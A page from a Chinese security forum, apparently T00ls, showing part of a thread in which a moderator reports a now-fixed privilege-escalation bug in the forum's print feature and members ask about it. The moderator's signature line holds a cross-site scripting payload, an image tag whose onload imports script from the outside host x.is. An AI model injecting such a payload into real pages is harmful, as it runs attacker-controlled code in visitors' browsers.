白帽子安全
厂商漏洞预警
业内新闻动态
安全研究
开源工具分享
技术交流讨论
原创文章发布
AI与区块链安全研究
程序代码学习
WEB代码审计
0day漏洞分析
渗透测试文章
Linux/无线/终端 安全
反病毒/逆向/免杀 二进制
安全检测工具
社会工程交流
夺旗赛研究
甲方文档资料
开源CMS源码
加密破解及悬赏
非安全交流
AI应用交流
VPS服务器讨论
区块链币圈交流
手机卡信用卡
域名外贸跨境
电子产品交流
非技术交流
八卦水区
论坛事务
人才招聘
登录
注册
导航
×
首页
白帽子安全
厂商漏洞预警
(2523)
业内新闻动态
(5886)
安全研究
开源工具分享
(175)
技术交流讨论
(19762)
原创文章发布
(20)
AI与区块链安全研究
(29)
程序代码学习
(1041)
WEB代码审计
(1288)
0day漏洞分析
(30)
渗透测试文章
(5928)
Linux/无线/终端 安全
(248)
反病毒/逆向/免杀 二进制
(459)
安全检测工具
(1692)
社会工程交流
(125)
夺旗赛研究
(337)
甲方文档资料
(109)
开源CMS源码
(38)
加密破解及悬赏
(1948)
非安全交流
AI应用交流
(19)
VPS服务器讨论
(45)
区块链币圈交流
(25)
手机卡信用卡
(7)
域名外贸跨境
(9)
电子产品交流
(44)
非技术交流
八卦水区
(6395)
论坛事务
(1649)
人才招聘
(38)
T00ls
»
论坛事务(Forum Affairs)
[
【Bugs反馈】
]
跪求吐司管理联系,发现论坛存在一处越权漏洞(已修复)
SuNu11
2019-12-13 16:30
2438
55
好帖, 支持TA
取消
很可惜, 此ID报废之前, 请仔细阅读论坛总架构中的规则贴:
论坛总规则
Reason:
确认要报废此ID!
取消
鲁人甲007
版主
2019-12-15
#31
回复
8#
t00ls管理团队01
管理,我比较好奇这是什么原理呀。。打印功能按理说时前端的,只是调用了系统的功能实现打印,这怎么牵扯到后端了,难道是伪后端。。。
S3L3CT
注册会员
2019-12-15
#32
大哥 你倒是说说什么bug呀
SuNu11
版主
2019-12-15
#33
@S3L3CT
???老哥,你还没看懂?你确定仔细看了?我说的不够明白?
有志者、事竟成,破釜沉舟
<Img Src=//x.is OnLoad=import(src)>
xlxxlx
潜水会员
2019-12-16
#34
hh可能之前就已经被发现了
afeng
注册会员
2019-12-16
#35
这是吐司的漏洞还是discuz的?
不忘初心,砥砺前行。
SuNu11
版主
2019-12-16
#36
回复
35#
afeng
吐司,,,
迷途菜鸟
僵尸会员
2019-12-16
#37
楼主不都已经截图明示了吗,打印,然后看仔细看网址
华夏小黑
注册会员
2019-12-16
#38
其他的论坛也可能
天道酬勤
谭一一一
潜水会员
2019-12-16
#39
可以,细心的老哥
拓宽广度,钻研深度
Xiaoye
潜水会员
2019-12-16
#40
打印处越权?关注一下
 
1
2
3
4
5
6
下一页
打赏
×
TuBi 数量 (1~49)
1
5
10
20
49
评价理由
确认
取消
帖子评分
×
撤销评分
×
SuNu11
版主
楼主
35
主题
829
帖子
829
TuBi
TA的主帖
私信TA
返回版块
社区首页
本版最新
月圆人团圆,安全常相伴——致T00ls社区全体会员💥💥💥
【T00ls18周年快乐】十八载光阴风雨同舟,土司论坛18岁生日快乐
【T00ls18周年快乐】十八年同行,内核依旧年轻
【T00ls18周年快乐】十八载同行-潜心习安全
🎉🎉🎉【T00ls十八载同行】十八而志,与子同袍 🎁🎁🎁
恶意灌水及签到TuBi问题 --- 但是看不见(已修复)
恶意灌水及签到TuBi问题(已答复)
对发布疑似黑灰产广告贴会员q12131415****,进行永久封禁的公告
举报用户存在黑灰产问题(已处理)
对从事黑产会员q1382996****,进行永久封禁的公告